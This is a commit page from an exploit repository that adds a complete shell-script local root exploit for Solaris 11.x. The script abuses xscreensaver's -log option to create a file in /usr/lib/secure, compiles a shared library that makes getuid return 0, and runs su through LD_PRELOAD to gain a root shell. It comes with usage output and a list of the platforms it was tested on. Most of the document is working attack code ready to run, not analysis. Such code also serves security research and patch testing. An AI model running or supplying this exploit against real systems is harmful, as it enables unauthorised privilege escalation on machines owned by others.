Projects STRLCPY 0xdea-exploits Commits aaccfdd4
🤬
  • ■ ■ ■ ■ ■ ■
    solaris/raptor_xscreensaver
     1 +#!/bin/sh
     2 + 
     3 +#
     4 +# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
     5 +# Copyright (c) 2019 Marco Ivaldi <[email protected]>
     6 +#
     7 +# Exploitation of a design error vulnerability in xscreensaver, as
     8 +# distributed with Solaris 11.x, allows local attackers to create
     9 +# (or append to) arbitrary files on the system, by abusing the -log
     10 +# command line switch introduced in version 5.06. This flaw can be
     11 +# leveraged to cause a denial of service condition or to escalate
     12 +# privileges to root. This is a Solaris-specific vulnerability,
     13 +# caused by the fact that Oracle maintains a slightly different
     14 +# codebase from the upstream one.
     15 +#
     16 +# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
     17 +# "Good hackers force luck." -- ~A.
     18 +#
     19 +# This exploit targets the /usr/lib/secure/ directory in order
     20 +# to escalate privileges with the LD_PRELOAD technique. The
     21 +# implementation of other exploitation vectors, including those
     22 +# that do not require gcc to be present on the target system, is
     23 +# left as an exercise to fellow UNIX hackers;)
     24 +#
     25 +# Usage:
     26 +# raptor@stalker:~$ chmod +x raptor_xscreensaver
     27 +# raptor@stalker:~$ ./raptor_xscreensaver
     28 +# [...]
     29 +# Oracle Corporation SunOS 5.11 11.4 Aug 2018
     30 +# root@stalker:~# id
     31 +# uid=0(root) gid=0(root)
     32 +# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
     33 +#
     34 +# Vulnerable platforms:
     35 +# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
     36 +# Oracle Solaris 11 SPARC [untested]
     37 +#
     38 + 
     39 +echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
     40 +echo "Copyright (c) 2019 Marco Ivaldi <[email protected]>"
     41 +echo
     42 + 
     43 +# prepare the payload
     44 +echo "int getuid(){return 0;}" > /tmp/getuid.c
     45 +gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
     46 +if [ $? -ne 0 ]; then
     47 + echo "error: problem compiling the shared library, check your gcc"
     48 + exit 1
     49 +fi
     50 + 
     51 +# check the architecture
     52 +LOG=/usr/lib/secure/getuid.so
     53 +file /bin/su | grep 64-bit >/dev/null 2>&1
     54 +if [ $? -eq 0 ]; then
     55 + LOG=/usr/lib/secure/64/getuid.so
     56 +fi
     57 + 
     58 +# start our own xserver
     59 +# alternatively we can connect back to a valid xserver (e.g. xquartz)
     60 +/usr/bin/Xorg :1 &
     61 + 
     62 +# trigger the bug
     63 +umask 0
     64 +/usr/bin/xscreensaver -display :1 -log $LOG &
     65 +sleep 5
     66 + 
     67 +# clean up
     68 +pkill -n xscreensaver
     69 +pkill -n Xorg
     70 + 
     71 +# LD_PRELOAD-fu
     72 +cp /tmp/getuid.so $LOG
     73 +LD_PRELOAD=$LOG su -
     74 + 
Please wait...
Page is in error, reload to recover